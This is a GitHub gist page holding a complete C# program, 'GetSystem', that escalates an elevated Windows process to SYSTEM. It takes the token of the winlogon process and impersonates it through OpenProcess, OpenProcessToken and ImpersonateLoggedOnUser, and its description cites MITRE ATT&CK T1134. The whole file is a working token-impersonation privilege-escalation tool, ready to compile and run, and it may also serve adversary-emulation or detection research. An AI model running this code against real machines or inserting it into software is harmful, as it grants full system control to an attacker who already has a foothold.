Last active
December 7, 2020 15:42
-
-
Save mvelazc0/9a4f05a67a12a86181e89f6026a020f2 to your computer and use it in GitHub Desktop.
Escalates to SYSTEM leveraging OpenProcess, OpenProcessToken and ImpersonateLoggedOnUser. https://attack.mitre.org/beta/techniques/T1134/. Needs to run as a High Integrity proc. Needs SeDebugPrivilege
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Diagnostics; | |
using System.Runtime.InteropServices; | |
using System.Security.Principal; | |
//Based on https://0x00-0x00.github.io/research/2018/10/17/Windows-API-and-Impersonation-Part1.html | |
namespace GetSystem | |
{ | |
class Program | |
{ | |
[DllImport("kernel32.dll", SetLastError = true)] | |
public static extern IntPtr OpenProcess(UInt32 dwDesiredAccess, Boolean bInheritHandle, UInt32 dwProcessId); | |
[DllImport("kernel32.dll", SetLastError = true)] | |
public static extern Boolean OpenProcessToken(IntPtr hProcess, UInt32 dwDesiredAccess, out IntPtr hToken); | |
[DllImport("advapi32.dll", SetLastError = true)] | |
public static extern Boolean ImpersonateLoggedOnUser(IntPtr hToken); | |
internal const UInt32 PROCESS_QUERY_INFORMATION = 0x0400; | |
internal const UInt32 TOKEN_DUPLICATE = 0x0002; | |
internal const UInt32 TOKEN_IMPERSONATE = 0x0004; | |
internal const UInt32 TOKEN_QUERY = 0x0008; | |
internal const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001; | |
static void Main(string[] args) | |
{ | |
Process exp = Process.GetProcessesByName("winlogon")[0]; | |
uint processId = (uint)exp.Id; | |
IntPtr hNewToken; | |
IntPtr hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, true, processId); | |
if (hProcess == IntPtr.Zero) | |
{ | |
Console.WriteLine("Could not get handle with OpenProcess"); | |
Console.WriteLine("Error Code {0}", Marshal.GetLastWin32Error()); | |
return; | |
} | |
Console.WriteLine("Got a handle for PID {0} with OpenProcess", processId); | |
bool ret = OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, out hNewToken); | |
if (!ret) | |
{ | |
Console.WriteLine("Could not get Token with OpenProcessToken"); | |
Console.WriteLine("Error Code {0}", Marshal.GetLastWin32Error()); | |
return; | |
} | |
Console.WriteLine("Got a process Token for PID {0} with OpenProcessToken", processId); | |
Console.WriteLine("Currently running as \"{0}\"", WindowsIdentity.GetCurrent().Name); | |
Console.WriteLine("Calling ImpersonateLoggedOnUser..."); | |
if (!ImpersonateLoggedOnUser(hNewToken)) | |
{ | |
Console.WriteLine("Could not get impersonate user with ImpersonateLoggedOnUse "); | |
Console.WriteLine("Error Code {0}", Marshal.GetLastWin32Error()); | |
return; | |
} | |
Console.WriteLine("Got SYSTEM!"); | |
Console.WriteLine("Currently running as \"{0}\"", WindowsIdentity.GetCurrent().Name); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment